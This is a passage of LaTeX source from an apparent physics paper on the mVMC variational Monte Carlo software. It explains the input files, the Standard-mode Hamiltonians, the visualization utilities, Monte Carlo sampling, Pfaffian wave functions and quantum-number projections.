Another way to use mVMC is using MateriApps LIVE!~\cite{MALive}, which offers
an environment based on Debian GNU/Linux OS.
MateriApps LIVE!
includes the standard libraries used in
computational materials science applications.
In MateriApps LIVE!, mVMC is pre-installed and
user can use mVMC without compiling.
We note that
MateriApps Installer~\cite{MAInstall} offers
scripts for installing mVMC in several different environments
such as the supercomputers in Japan.}
\subsection{How to use mVMC}
\subsubsection{Expert mode}
To use mVMC, it is necessary to prepare several input files that
{specify}
parameters in models,
{forms of} the variational wave functions,
and basic parameters for variational Monte Carlo calculations
such as the number of the Monte Carlo samplings.
In the list
\yoshimi{file} (\verb|namelist.def| is a typical name of the list file),
by using the keywords,
one can specify the types of
input files.
Here, we show an example of the list of
input files
below:
\begin{verbatim}
ModPara modpara.def
LocSpin locspn.def
Trans trans.def
CoulombIntra coulombintra.def
OneBodyG greenone.def
TwoBodyG greentwo.def
Gutzwiller gutzwilleridx.def
Jastrow jastrowidx.def
Orbital orbitalidx.def
TransSym qptransidx.def
\end{verbatim}
For example,
\verb|modpara.def| associated with the
keyword \verb|ModPara| is the input file for specifying the basic parameters for calculations,
and
\verb|trans.def| associated with the keyword \verb|Trans| is the input file for specifying the
transfer integrals in the model Hamiltonian
In
\tido{T}able \ref{table:Keywords}, we list keywords used in mVMC ver. 1.0.
\begin{table}[tb!]
\caption{Keywords used in mVMC.
\yoshimi{By adding IN in front of the
keyword for variational parameters (Orbital, APOrbital, POrbital, GeneralOrbital,
Gutzwiller , Jastrow , DH2, and DH4) such as InOrbital},
one can specify the initial variational parameters.}
\begin{tabular}{ll}
\hline
keyword & explanation \\
\hline \hline
ModPara & basic parameters for calculations\\ \hline \hline
LocSpn & locations of local spins \\
Trans & transfer integrals~(${\cal H}_T$) \\
CoulombIntra & on-site Coulomb interactions~(${\cal H}_U$) \\
CoulombInter & off-site Coulomb interactions~(${\cal H}_V$) \\
Hund & Ising-type Hund's rule couplings~(${\cal H}_H$) \\
Exchange & exchange interactions~(${\cal H}_E$) \\
PairHop & pair hopping terms~(${\cal H}_P$) \\
InterAll & general two-body interactions~({${\cal H}_{\cal I}$}) \\ \hline \hline
Orbital/APOrbital & anti-parallel Pfaffian wave functions \\
POrbital & parallel Pfaffian wave functions \\
GeneralOrbital & general Pfaffian wave functions \\
Gutzwiller & Gutzwiller correlations factors \\
Jastrow & Jastrow correlations factors \\
DH2 & two-site doublon-holon correlations factors \\
DH4 & four-site doublon-holon correlations factors \\
TransSym & momentum and point-group projections \\ \hline \hline
OneBodyG & one-body Green functions \\
TwoBodyG & two-body Green functions \\
\hline
\end{tabular}
\label{table:Keywords}
\end{table}
After preparing all the necessary files,
one can start mVMC calculations by \yoshimi{executing} the following command:
\begin{verbatim}
$ ./vmc.out -e namelist.def
\end{verbatim}
In this procedure, one should prepare all the necessary files
correctly and it is sometimes
{time consuming}.
To reduce efforts in preparing the input files,
we provide {a} simple mode called Standard mode
for the standard models in the condensed matter physics
as explained {in} \tido{the} next subsection.
\subsubsection{Standard mode}
In Standard mode,
from the one input file \verb|StdFace.def|,
all the necessary files are automatically generated.
By using Standard mode, one can treat
the standard models in the condensed-matter physics
such as the Hubbard model, the Heisenberg model,
the Kondo-lattice model, and their extensions.
In the following, we show an example of the input file
in Standard mode for
the Hubbard model on the square lattice:
\begin{verbatim}
model = "FermionHubbard"
lattice = "square"
W = 4
L = 4
Wsub = 2
Lsub = 2
t = 1.0
U = 4.0
nelec = 16
2Sz = 0
\end{verbatim}
Here, \verb|W| (\verb|L|) represents the
length for $x$ ($y$) direction
on the square lattice.
\verb|Wsub| (\verb|Lsub|) is the length of
the sublattice structure {in the real space} for variational parameters.
\verb|model|
~\tido{and} \verb|lattice| specify the types of the standard models
and lattice structures, respectively.
{The } hopping transfer and on-site Coulomb
{interaction}
are represented by {\verb|t| and \verb|U|}, respectively.
By using this input file for the Hubbard model,
one can perform mVMC calculations by executing the following command.
\begin{verbatim}
$ ./vmc.out -s Stdface.def
\end{verbatim}
If one wants to check the input files without the calculation,
it is possible to generate only the input files without calculations by using the following command.
\begin{verbatim}
$ ./vmcdry.out Stdface.def
\end{verbatim}
Here, \verb|vmcdry.out| is the
{executable} file
only for generating the input files.
\subsubsection{Flow of calculation}
Here, we summarize the flow of mVMC calculations.
First,
{one prepares}
\verb|StdFace.def| in Standard mode or
all necessary input files in Expert mode.
Then, by executing \verb|vmc.out|,
{one performs}
the optimization of the variational parameters
to lower the energy
according to the variational principle.
In the actual calculations,
{one uses}
the SR method~{\cite{Sorella_PRB2001,Sorella_JCS2007}}.
This optimization is the main part and the most time-consuming part of mVMC.
After the optimization,
by using the optimized variational wave functions,
{one calculates}
the specified
correlation functions.
This flow is summarized in Fig.~\ref{fig:flow}.
Optimization is performed for \verb|NVMCCalmode=0|
and the calculating physical
\tido{quantities}
for \verb|NVMCCalmode=1|.
By choosing \verb|NLanczosMode=1| (\verb|NLanczosMode=2|),
one can perform the first-step power-Lanczos calculations without (with) calculating correlation functions.
\begin{figure}[tb!]
\begin{center}
\includegraphics[width=9cm]{Fig2.pdf}
\caption{Flow of mVMC calculations.
{In the definitions of the Hamiltonians and the Green's functions,
capital characters $I$,$J$,$K$,$L$ denote the site indices including the spin degreed of freedom, i.e.,
$I=(i,\sigma_{i})$.}}
\label{fig:flow}
\end{center}
\end{figure}
\subsection{Models and Lattices}
We describe available Hamiltonians and lattices in mVMC.
General form of available Hamiltonians for mVMC is given by
{
\begin{align}
{\cal H} &={\cal H}_T+{\cal H}_{I}, \\
{\cal H}_T&={\bf -}\sum_{i, j}\sum_{\sigma_i, \sigma_j}t_{ij\sigma_i\sigma_j} c_{i\sigma_i}^{\dag}c_{j\sigma_j},\\
{\cal H}_{\cal I}&=\sum_{i,j,k,l}\sum_{\sigma_1,\sigma_2, \sigma_3, \sigma_4}
{\cal I}_{ijkl\sigma_i\sigma_j\sigma_k\sigma_l}c_{i\sigma_i}^{\dagger}c_{j\sigma_j}c_{k\sigma_k}^{\dagger}c_{l\sigma_l},
\label{eq:GHam}
\end{align}
}
where ${c}_{i\sigma}^\dag$ (${c}_{i\sigma}$) is the creation (annihilation)
operator of an electron on site $i$ with spin $\sigma= \uparrow$ or $\downarrow$.
This Hamiltonian includes the arbitrary one-body potentials
and two-body interactions in the particle-conserved systems.
General one-body potential $t_{ij\sigma_i \sigma_j}$ represents
the hopping between site $i$ with spin $\sigma_i$ and site $j$ with spin $\sigma_j$.
General two-body interaction
{${\cal I}_{ijkl\sigma_i\sigma_j\sigma_k\sigma_l}$} represents
the interaction which annihilates a spin $\sigma_j$
\yoshimi{particle} at site $j$ and a spin $\sigma_l$
\yoshimi{particle} at site $l$,
and creates a spin $\sigma_i$ particle at site
$i$ and a spin $\sigma_k$ particle at site $k$.
Corresponding keywords for ${\cal H}_T$ and ${\cal H}_{\cal I}$
are shown in
\tido{T}able ~\ref{table:Keywords}.
{In Standard mode, users can employ the anti-periodic boundary conditions and
details are shown in \ref{sec:anti}.}
{We note that localized spin-$1/2$ systems such as the Heisenberg model
can be regarded as a special case of the above Hamiltonian by completely
excluding the
{doubly occupied}
sites at half filling with the Gutzwiller projections.
Therefore, by using the Gutzwiller projections,
one can use mVMC for solving spin-$1/2$ quantum spin models
by properly interpreting terms of {diagonal elements of}
$t_{ij\sigma_i\sigma_j}$ and ${\cal I}_{ijkl\sigma_i\sigma_j\sigma_k\sigma_l}$
as the potentials and interactions for localized spins\tido{, respectively}.}
Although
the Hamiltonian given in Eq.~(\ref{eq:GHam})
has the most general form,
it is not efficient for specifying the simple interactions such as the
on-site Coulomb interactions by using the general form.
To reduce the efforts in making the input files,
we provide
simple forms for the conventional interactions such
as
the on-site Coulomb interactions (${\cal H}_U$),
the off-site Coulomb interactions (${\cal H}_V$),
the Ising-type Hund's rule couplings (${\cal H}_H$),
the exchange interactions (${\cal H}_E$), and
the pair hopping terms (${\cal H}_P$).
Forms of each interaction are
given as follows:
\begin{align}
{\cal H}_U &= \sum_{i} U_i n_ {i \uparrow}n_{i \downarrow},\\
{\cal H}_V &= \sum_{i,j} V_{ij}n_ {i}n_{j},\\
{\cal H}_H &= {\bf -}\sum_{i,j}J_{ij}^{\rm Hund} (n_{i\uparrow}n_{j\uparrow}+n_{i\downarrow}n_{j\downarrow}),\\
{\cal H}_E &= \sum_{i,j}J_{ij}^{\rm Ex} (c_ {i \uparrow}^{\dag}c_{j\uparrow}c_{j \downarrow}^{\dag}c_{i \downarrow}+c_ {i \downarrow}^{\dag}c_{j\downarrow}c_{j \uparrow}^{\dag}c_{i \uparrow}),\\
{\cal H}_P &= \sum_{i,j}J_{ij}^{\rm Pair}
(c_{i\uparrow}^{\dag}c_{j\uparrow}c_{i\downarrow}^{\dag}c_{j\downarrow}
+c_{j\downarrow}^{\dag}c_{i\downarrow}c_{j\uparrow}^{\dag}c_{i\uparrow})
,
\end{align}
where we define the charge density operator
with spin $\sigma$ at site $i$ as $n_{i \sigma}=c_{i\sigma}^{\dag}c_{i\sigma}$ and
the total charge density operator at site $i$ as $n_i=n_{i\uparrow}+n_{i\downarrow}$.
Corresponding keywords are shown in
\tido{T}able \ref{table:Keywords}.
In Standard mode,
users can select the standard models
with the human-readable {keywords}, i.e.,
Hubbard-type models
\tido{are} specified with \verb|model="Hubbard"|,
localized spin-$1/2$ Heisenberg models
\tido{are} specified with \verb|model="Spin"|, and
Kondo-lattice models
\tido{are} specified with \verb|model="Kondo"|.
By adding \verb|GC| at the back of the {keywords} for models, for example \verb|model="HubbardGC"|,
one can treat the $S^{z}$ non-conserved systems.
We note that \verb|GC| is an abbreviation grand canonical ensemble
but mVMC only supports the $S^{z}$ non-conserved systems and
does not support the particle non-conserved systems in ver.1.0.
We summarize available {keywords} for lattices and models
in Standard mode in
\tido{T}able.\ref{table:model} .
\begin{table}[tb!]
\centering
\caption{Examples of key\tido{word}s for models and lattices in Standard mode.
~GC means $S^{z}$ non-conserved system.}
\label{my-label}
\begin{tabular}{ll}
\hline \hline
types & keywords \\
\hline \hline
model/canonical & Hubbard, Spin, Kondo \\
\hline
model/grand canonical & HubbardGC, SpinGC, KondoGC \\
\hline
\multirow{2}{*}{lattice}
& chain, square, triangular, \\
& honeycomb, kagome \\
\hline \hline
\end{tabular}
\label{table:model}
\end{table}
The form of the Hamiltonians with ``Hubbard/HubbardGC"
is given by
\begin{align}
&{\cal H}_{\rm Hubbard}= -\mu \sum_{i \sigma} \ {c}^\dagger_{i \sigma} \ {c}_{i \sigma}-\sum_{ij, \sigma} t_{i j} \ {c}^\dagger_{i \sigma} \ {c}_{j \sigma} \\ \notag
&+ \sum_{i} U \ {n}_{i \uparrow} \ {n}_{i \downarrow} + \sum_{ij} V_{i j} \ {n}_{i} \ {n}_{j}, \\
\end{align}
where $V_{ij}$ denotes the off-site Coulomb interactions
and its range
depend\tido{s} on the lattice structures.
The form of the Hamiltonians with ``Spin/SpinGC"
is given by
\begin{align}
&\ {\cal H}_{\rm Spin} = -h \sum_{i} \ {S}_{i}^{z} - \Gamma \sum_{i} \ {S}_{i}^{x}
+ D \sum_{i} \ {S}_{i}^{z} \ {S}_{i}^{z} \\ \notag
&+ \sum_{ij, \alpha}J_{i j \alpha} \ {S}_{i}^{\alpha} \ {S}_{j}^{ \alpha}+ \sum_{ij, \alpha \neq \beta} J_{i j \alpha \beta} \ {S}_{i}^{ \alpha} \ {S}_{j}^{ \beta}.
\end{align}
Here, spin operators are defined as follows:
\begin{align}
&S_{i}^{x}=(c_{i\uparrow}^{\dagger}c_{i\downarrow}+c_{i\downarrow}^{\dagger}c_{i\uparrow})/2,\\
&S_{i}^{y}={\rm i}(-c_{i\uparrow}^{\dagger}c_{i\downarrow}+c_{i\downarrow}^{\dagger}c_{i\uparrow})/2,\\
&S_{i}^{z}=(n_{i\uparrow}-n_{i\downarrow})/2,\\
&S_{i}^{+}=S_{i}^x+{\rm i}S_{i}^{y},\\
&S_{i}^{-}=S_{i}^x-{\rm i}S_{i}^{y}.
\end{align}
The form of the Hamiltonians with ``Kondo/KondoGC"
is given by
\begin{align}
&\ {\cal H}_{\rm Kondo} = - \mu \sum_{i \sigma} \ {c}^\dagger_{i \sigma} \ {c}_{i \sigma}-\sum_{i j,\sigma} t_{ij}\ {c}^\dagger_{i \sigma}\ {c}_{j \sigma} \\ \notag
&+ \sum_{i} U \ {n}_{i \uparrow} \ {n}_{i \downarrow}
+ \sum_{i j} V_{i j} \ {n}_{i} \ {n}_{j} \\ \notag
&+ \frac{J}{2} \sum_{i} \left\{\ {S}_{i}^{+} \ {c}_{i \downarrow}^\dagger \ {c}_{i \uparrow}+\ {S}_{i}^{-} \ {c}_{i \uparrow}^\dagger \ {c}_{i \downarrow}
+\ {S}_{i}^{z} (\ {n}_{i \uparrow} - \ {n}_{i \downarrow})\right\},\\
\end{align}
where spin operators for the localized spins are
denoted by $S^{\alpha}$ and
the operators for itinerant electrons are
denoted by $c_{i}^{\dagger}/c_{i}$ and $n_{i}$.
Details of the parameters are given in manuals~\cite{ma}.
\subsection{Visualization tools in mVMC}
\subsubsection{Display lattice {geometry}
By using \verb|lattice.gp|, which is generate\tido{d} after executing \verb|vmc.out| or \verb|vmcdry.out|,
we can display the
{geometry} of the simulation cell generated by Standard mode as follows:
\begin{verbatim}
$ gnuplot lattice.gp
\end{verbatim}
{Here, we use gnuplot~\cite{gnuplot} for visualization.}
Then \tido{the} lattice
{geometry} is displayed in the new window as shown in Fig.~\ref{fig:lattice_gp}.
Figure \ref{fig:lattice_gp} shows the lattice
{geometry} of the 20-sites
Hubbard model on the square lattice and we use the following input file:
\begin{verbatim}
model = "Hubbard"
lattice = "square"
a0w = 4
a0l = 2
a1w = -2
a1l = 4
t = 1.0
U = 10.0
nelec = 20
\end{verbatim}
\begin{figure}[tb!]
\begin{center}
\includegraphics[width=6cm]{Fig3.pdf}
\caption
{Geometry} of the simulation cell on the 20-site square lattice.
The red solid line and the black dashed line indicate the nearest-neighbor hopping and
the boundary of the simulation cell, respectively.}
\label{fig:lattice_gp}
\end{center}
\end{figure}
\subsubsection{Fourier transformation of correlation functions}
\begin{figure}[tb!]
\begin{center}
\includegraphics[width=7.5cm]{Fig4.pdf}
\caption{
The spin-spin correlation function of the {20-site} Hubbard model on the square lattice.
{The (black) solid line at the bottom} indicates the {first} Brillouin-zone boundary.}
\label{fig:sksk}
\end{center}
\end{figure}
mVMC has utility programs (fourier tool) to
compute the structure factors in the reciprocal space, which are defined as
\begin{align}
X(\vec{k})
\equiv \frac{1}{N_{\rm cell}} \sum_{i,j}^{N_{\rm site}} e^{-{\rm i} {\vec{k}}\cdot({\vec{ R}}_i - {\vec{R}}_j)}
\langle { X}_{i}^\dagger {X}_{j}\rangle,
\end{align}
where
\tmorita{${X_i}$} is an operator such as ${c}_{i\uparrow}$ and ${c}_{i\uparrow}^{\dagger}{c}_{i\uparrow}$.
{We note that $N_{\rm cell}$ denotes {the} number of the unit cells, for example,
$N_{\rm site}=2\times N_{\rm cell}$ for honeycomb lattice.}
We can compute this type of
correlation function by using fourier tool.
These programs support the calculation\tido{s} of
the one-body correlation (momentum distribution) $n_{\sigma}(\vec{k})$,
the charge structure factors $N(\vec{k})$, and
the spin structure factors $S(\vec{k})$, $S^{xy}(\vec{k})$, $S^{z}(\vec{k})$,
which are defined as
\begin{align}
n_{\sigma}(\vec{k})&= \frac{1}{N_{\rm cell}} \sum_{i,j}^{N_{\rm site}} e^{-{\rm i} \vec{k}\cdot(\vec{R}_i - \vec{R}_j)}\langle {c}_{i\sigma}^\dagger {c}_{j\sigma}\rangle,\\
N(\vec{k})&= \frac{1}{N_{\rm cell}} \sum_{i,j}^{N_{\rm site}} e^{-{\rm i} \vec{k}\cdot(\vec{R}_i - \vec{R}_j)}\langle {n}_{i\sigma}^\dagger {n}_{j\sigma}\rangle,\\
S(\vec{k})&= \frac{1}{N_{\rm cell}} \sum_{i,j}^{N_{\rm site}} e^{-{\rm i} \vec{k}\cdot(\vec{R}_i - \vec{R}_j)}
\langle \vec{S}_{i}\cdot\vec{S}_{j}\rangle,\label{eq:Sk}\\
S^{xy}(\vec{k})&= \frac{1}{N_{\rm cell}} \sum_{i,j}^{N_{\rm site}} e^{-{\rm i} \vec{k}\cdot(\vec{R}_i - \vec{R}_j)}
\langle{S}^{+}_{i}S^{-}_{j}+{S}^{-}_{i}S^{+}_{j}\rangle,\\
S^{z}(\vec{k})&= \frac{1}{N_{\rm cell}} \sum_{i,j}^{N_{\rm site}} e^{-{\rm i} \vec{k}\cdot(\vec{R}_i - \vec{R}_j)}
\langle {S}^{z}_{i}{S}^{z}_{j}\rangle.
\end{align}
We demonstrate an example of {calculation for} $S(\vec{k})$
{on} the
\tmorita{20-site} Hubbard model on the square lattice shown in the previous section.
After
{calculating}
the correlation function in the real space by using \verb|vmc.out|
with \verb|NVMCCalMode=1|,
the utility program \verb|fourier| is executed in the same directory as follows:
\begin{verbatim}
$ fourier namelist.def geometry.dat
\end{verbatim}
where \verb|geometry.dat| is the file specifying the positions of sites, which
is generated automatically in Standard mode.
Then the fourier-transformed correlation function
is stored in a file \verb|output/zvo_corr.dat|,
where \verb|zvo| is the prefix specified in the input file.
For two dimensional systems,
we can display a color-plot by using another utility program \verb|corplot| as follows:
\begin{verbatim}
$ corplot output/zvo_corr.dat
\end{verbatim}
In this program, we cho\tido{o}se the type of
correlation function listed above,
and can draw the correlation functions as show\tido{n} in Fig.~\ref{fig:sksk}.
\section{Basics of mVMC}
\subsection{Sampling method}
\subsubsection{Monte Carlo sampling}
In the VMC method, the importance sampling based on the Markov-chain Monte Carlo is used for evaluating the
expectation values for the many-body wave functions~\cite{Gros_AP1989,Toulouse_2015}.
As a complete basis, we use the real-space configuration
$\{| x\rangle\}$ defined as
\begin{equation}
|x\rangle = \prod_{n,\sigma} c_{\vec{r}_{n\sigma}}^{\dag} \ket{0},
\end{equation}
where $\tido{\vec{r}}_{n\sigma}$ denotes the position of the $n$th electron with spin $\sigma$.
For the $S^{z}$-conserved system,
we used the fixed $S^{z}$ real-space configuration defined as
\begin{equation}
|x\rangle = \prod_{n=1}^{N_{\tido{\rm up}}} c_{\vec{r}_{n\uparrow}}^{\dag} \prod_{n=1}^{N_{\tido{\rm down}}} c_{\vec{r}_{n\downarrow}}^{\dag} \ket{0},
\end{equation}
where $N_{\rm up}$ ($N_{\rm down}$) denotes the number of
up (down) electrons and {the} total {value of} $S^{z}$ is given by $S^{z}=(N_{\rm up}-N_{\rm down})/2$.
By using $\{| x\rangle\}$,
we rewrite the expected value of the operator $A$ as follows:
\begin{align}
&\langle A \rangle =\frac{\langle \psi| A| \psi \rangle}{\langle \psi | \psi \rangle}
=\sum_x \frac{\langle \psi| A | x\rangle \langle x| \psi \rangle}{\langle \psi |\psi \rangle}
=\sum_x \rho(x) \frac{\langle \psi| A | x\rangle }{\langle \psi |x \rangle},\\
&\rho(x)=\frac{|\braket{x|\psi}|^2}{\braket{\psi|\psi}}.
\end{align}
By performing the Markov-chain Monte Carlo with respect
to the weight $\rho(x)$, i.e., by generating the real-space configuration\tmorita{s}
according to the weight $\rho(x)$,
we can evaluate $\braket{A}$ as
\begin{equation}
\braket{A}\sim\frac{1}{N_{\rm MC}}\sum_{x}\frac{\langle \psi| A | x\rangle }{\langle \psi |x \rangle},
\label{Eq:MC}
\end{equation}
where $N_{\rm MC}$ is the number of Monte Carlo samplings.
In mVMC, we use the Mersenne twister~\cite{Mutsuo_SFMT2008} for
generating the pseudo random numbers.
\subsubsection{Update of real-space configurations}
{For the itinerant electron systems such as the Hubbard model,
we update the real-space configurations $\ket{x}$ with the hopping process, i.e.,
one electron hops into another site as shown in Fig.~\ref{fig:update}(a).
In addition to the hopping update,
we can use the exchange update, i.e.,
opposite spins exchange as shown in Fig.~\ref{fig:update}(b).
For the local spin models such as the
Heisenberg model, \tido{the} hopping update
is prohibited and only the
exchange update is allowed.
Even in the itinerant electrons models
\tido{with strong on-site interaction},
it is necessary to use the exchange update
for an efficient Monte Carlo sampling because the creation
of the doubly occupied site (or equivalently the creation of the holon site)
becomes {a} rare event in the strong coupling region.}
In the $S_{z}$ non-conserved system\tido{s},
we employ the hopping update with spin flip
as shown in Fig.~\ref{fig:update} (c).
We also employ local spin flip update
\tmorita{as shown} in Fig.~\ref{fig:update}(d).
Although the local spin flip is included in the
hopping with spin flip,
for an efficient sampling,
it is necessary to explicitly perform the local spin flip.
As we show later,
the inner product between the Pfaffian wave functions
and the real-space configuration $\ket{x}$ is given by the Pfaffian
of the skew symmetric matrix $X$.
It is time consuming to calculate the
Pfaffian for each real-space configuration.
Because the changes in the real-space configuration
induce the changes {only} in a few rows and columns in $X$,
{numerical cost can be reduced
by using {the} Sherman-Morrison-type update technique.}
Details of the fast update techniques of the
Pfaffian wave functions are shown in
\tido{R}efs.~\cite{Tahara_JPSJ2008,Morita_JPSJ2015}.
\begin{figure}[tb!]
\begin{center}
\includegraphics[width=7.5cm]{Fig5.pdf}
\caption{
(a)~Hopping update.
(b)~Exchange update.
(c)~Hopping update with spin flip.
(d)~Local spin flip update.}
\label{fig:update}
\end{center}
\end{figure}
\subsection{Wave functions}
In mVMC, the form of the variational wave function is given as
\begin{align}
&|\psi \rangle = {\cal P}{\cal L} |\phi_{\rm Pf} \rangle,
\end{align}
where
$|\phi_{\rm Pf} \rangle$ denotes the
{pair-product} part of the wave functions,
${\cal L}$ denotes the quantum-number projectors
such as the total-spin and momentum projections,
and
${\cal P}$ denotes the correlation factors such as the Gutzwiller and the
Jastrow factors.
We detail each part of the wave functions in the following.
\subsubsection{{Pair-product} part -- Pfaffian wave functions}
The {pair-product} part of the wavefunction in mVMC is
represented as the Pfaffian wave function, which is defined as
\begin{equation}
|\phi_{\rm Pf} \rangle = \left[\sum_{i, j=0}^{N_{\rm s}-1}
\sum_{\sigma_i, \sigma_j}F_{i\sigma_ij \sigma_j}c_{i\sigma_i}^{\dag}c_{j\sigma_j}^{\dag} \right]^{N_{\rm e}/2}|0 \rangle,
\label{Eq:Pf}
\end{equation}
where $N_{\rm e}$ is the number of electrons and
$N_{\rm s}$ is the number of sites.
Index $i$ denotes the number of sites and
$\sigma_{i}$ denotes the spin at $i$th site.
For simplicity, we denote the
combination of the site index and
spin index by the capital letter such as $I=(i,\sigma_{i})$ or
$I=i+N_{\rm s}\times\sigma_{i}~(0\leq i\leq N_{\rm s}-1,\sigma_{i}=0,1)$ in the following.
We note that site index $i$ can include
the orbital degrees of freedom
in the multi-orbital systems.
If \yoshimi{the} total \yoshimi{value of} $S^{z}$ is conserved and fixed to 0,
we often use the {anti-parallel} Pfaffian wave function defined as
\begin{equation}
|\phi_{\rm AP-Pf} \rangle = \left[\sum_{i, j=0}^{N_{\rm s}-1}
f_{ij}c_{i\uparrow}^{\dag}c_{j\downarrow}^{\dag} \right]^{N_{\rm e}/2}|0 \rangle.
\label{Eq:AP-Pf}
\end{equation}
The Pfaffian wave function is an extension of the
Slater determinant defined as
\begin{align}
|\phi_{\rm SL}\rangle&=\Big(\prod_{n=1}^{N_{\rm e}}
\psi_{n}^{\dagger}\Big)|0\rangle,~~\psi_{n}^{\dagger}
=\sum_{I=0}^{2N_{\rm s}-1}\Phi_{In}c^{\dagger}_{I},
\end{align}
where $I$ denotes the {index} including the site and spin {index}
and $n$ denotes the index of the occupied orbital.
As we show in \ref{sec:PfAndSlater},
from the Slater determinant,
it is possible to construct the equivalent
Pfaffian wave function by using the relation\tido{s}
\begin{align}
&F_{IJ}=\sum_{n=1}^{{N_{\rm e}}/{2}}\Big(\Phi_{I,2n-1}\Phi_{J,2n}-\Phi_{J,2n-1}\Phi_{I,2n}\Big),\\
&f_{ij}=\sum_{n=1}^{N_{\tido{\rm e}}/2}\Phi_{in\uparrow}\Phi_{jn\downarrow}.
\label{eq:fijSL}
\end{align}
This result shows that the Pfaffian wave functions include the
Slater determinants.
{We note that the Pfaffian wave functions can describe states that are not
described by the Slater determinant such as the superconducting
phases with fixed particle numbers.}
Inner product between $N_{\rm e}$-particle
real-space configuration $|x\rangle$ and
the Pfaffian wave functions \imada{is}
described by the Pfaffian as follows:
\begin{align}
\langle x|\phi_{\rm Pf}\rangle = (N_{\rm e}/2)!{\rm Pf}(X),
\end{align}
where $X$ is a $2N_{\rm e}\times 2N_{\rm e}$ skew-symmetric matrix $X$
whose elements
\tido{are} given as
\begin{align}
X_{IJ}=F_{IJ}-F_{JI}.
\end{align}
This relation is the
reason why $\ket{\phi_{\rm Pf}}$ is called \tido{the} Pfaffian wave function.
We note that the Pfaffian is defined for the skew-symmetric matrices and
its square is the determinant of the skew-symmetric matrices, i.e.,
\begin{align}
{[{\rm Pf}(X)]^{2}}={\rm det}(X).
\end{align}
We use
Pfapack~\cite{Wimmer_PFAPACK2012} for calculating Pfaffian\tido{s} in mVMC.
In the field of the quantum chemistry,
the Pfaffian wave
functions is often called geminal wave functions~\cite{Sorella_JCS2007,Bajdich_PRB2008}.
Although the Pfaffian wave function has $2N_{s}\times(N_{s}-1)$
complex variational parameters,
to reduce the numerical cost,
it is possible to impose the sublattice structures
\tido{on} the Pfaffian wave functions.
For example,
if we consider the $2\times2$ sublattice structures
{in the real space} for the
$N_{\rm s}=L\times L$ square lattice,
the number of the variational parameters are reduced from
$O(N_{\rm s}^2)$ to $O(N_{\rm s})$.
In Standard mode,
by specifying the {keywords} $W_{\rm sub}$ ($L_{\rm sub}$),
one can impose the sublattice structures
{in $x$ direction ($y$ direction) for the variational parameters}.
We note that the sublattice structure allows
the orders within the sublattice structures, i.e.,
in $2\times 2$ sublattice {in the real space}, the
{ordering} wave vectors {in the momentum space} are limited
to $(\pi,\pi)$, $(0,\pi),(\pi,0)$, and $(0,0)$.
If one wants to examine stability of the long-period orders,
it is better to take larger sublattice structures or not
to impose the sublattice structure if possible.
\subsubsection{Quantum number projection}
The quantum-number projector ${\cal L}$ consists of
the momentum projector ${\cal L}_K$,
the point-group symmetry projector ${\cal L}_P$, and
the total-spin projector ${\cal L}_S$, which are defined as
\begin{align}
&{\cal L}={\cal L}_{S}{\cal L}_K{\cal L}_P,\\
&{\cal L}_K=\frac{1}{N_{\rm s}}\sum_{{\bm R}}e^{{\rm i}\vec{K}\cdot\vec{R}}{T}_{\vec{R}},\label{Eq:momP}\\
&{\cal L}_P=\frac{1}{N_{g}}\sum_{\vec{p}}g_{\vec{p}}(\alpha)^{-1}T_{\vec{p}},\label{Eq:pointP}\\
&{\cal L}_S=\frac{2S+1}{8 \pi^2}\int d\Omega {P_{S}}(\cos \beta) {R}(\Omega)\label{Eq:spnP}.
\end{align}
Here, {$\vec{K}$} is the total momentum
of the whole system and
$\tido{T}_{\bm R}$ is the translational
operator corresponding to the translational vector ${\bm R}$,
$T_{\vec{p}}$ is the translational operator
{corresponding to the vector point-group operations $\vec{p}$,}
and $g_{\vec{p}}$ is the character for point-group operations.
The number of
elements in the
point group or translational group is denoted by $N_{g}$.
We only consider the total-spin projection which filters out {the}
$S^{z}=0$ component in the wave function and generate the wave function
with $S^{z}=0$ and the total spin $S$.
In general, the total-spin projection which filters out
$S^{z}=M$ component and generate the wave function
with $S^{z}=M^{\prime}$ and {the total spin} $S$ is possible. Details of
such general spin projections are shown in the literature~\cite{RingSchuck,Mizusaki_PRB2004}.
In the definition of ${\cal L}_{S}$,
$\Omega=(\alpha, \beta, \gamma)$ denotes the Euler angles,
${R}(\Omega)=e^{{\rm i}\alpha S^{z}}e^{{\rm i}\beta S^{y}}e^{{\rm i}\gamma S^{z}}$ is
the rotational operator {in the spin space},
$P_S(x)$ is the $S$th Legendre polynomial, respectively.
Here, we explain the essence of the quantum-number projections by taking
{a} point-group projections as an example.
{
When the Hamiltonian preserves a symmetry, any exact eigenstate
has to respect its quantum number associated
with the symmetry, while wavefunctions constructed so far do
not necessarily satisfy this requirement.
Such a symmetry-preserved
state with a given quantum number can be constructed from a given state $|\phi\rangle$}
as
\begin{align}
|\phi\rangle=\sum_{\alpha}a_{\alpha}|\alpha\rangle,~T_{\vec{p}} |\alpha\rangle=g_{\alpha}({\vec{p}}) |\alpha\rangle,
\end{align}
where $\ket{\alpha}$
{are}
the eigenvectors
{of} $T_{\vec{p}}$ and
$g_{\alpha}({\vec{p}})$
{are}
the eigenvalues.
Here, $T_{\vec{p}}$ is defined as
\begin{align}
T_{\vec{p}}c_{\vec{r}}^{\dagger}T_{\vec{p}}^{-1}=c_{\vec{r}+\vec{p}}^{\dagger}.
\end{align}
To extract $|\alpha\rangle$ from $|\phi\rangle$,
we define the projection operator as
\begin{align}
{\cal L}_{\alpha}=\frac{1}{N_g}\sum_{\vec{p}}g_{\alpha}(\vec{p})^{-1}T_{\vec{p}},
\end{align}
where $N_g$ is the number of
elements in the
point group or translational group.
By using the projection operator,
we can show the following relation.
\begin{align}
{\cal L}_{\alpha}\ket{\phi}=
\frac{1}{N_g}\sum_{\vec{p},\alpha^{\prime}}
g_{\alpha}(\vec{p})^{-1} g_{\alpha^{\prime}}(\vec{p})a_{\alpha^{\prime}}\ket{\alpha^{\prime}}
= a_{\alpha}\ket{\alpha}.
\end{align}
Here, we use the orthogonal relation for characters~\cite{Dresselhaus_2007}
\begin{align}
\sum_{\vec{p}}g_{\alpha}(\vec{p})^{-1} g_{\alpha^{\prime}}(\vec{p})=N_g\delta_{\alpha,\alpha^{\prime}}.
\end{align}
For the momentum projection,
we take {the} translational operators $T_{\vec{R}}$ defined as
\begin{align}
T_{\vec{R}}c_{\vec{r}}^{\dagger}T_{\vec{R}}^{-1}=c_{\vec{r}+\vec{R}}^{\dagger},
\end{align}
where $\vec{R}$ denotes the translational vector and
{the} corresponding character is $e^{{\rm i}\vec{k}\tido{\cdot}\vec{R}}$.
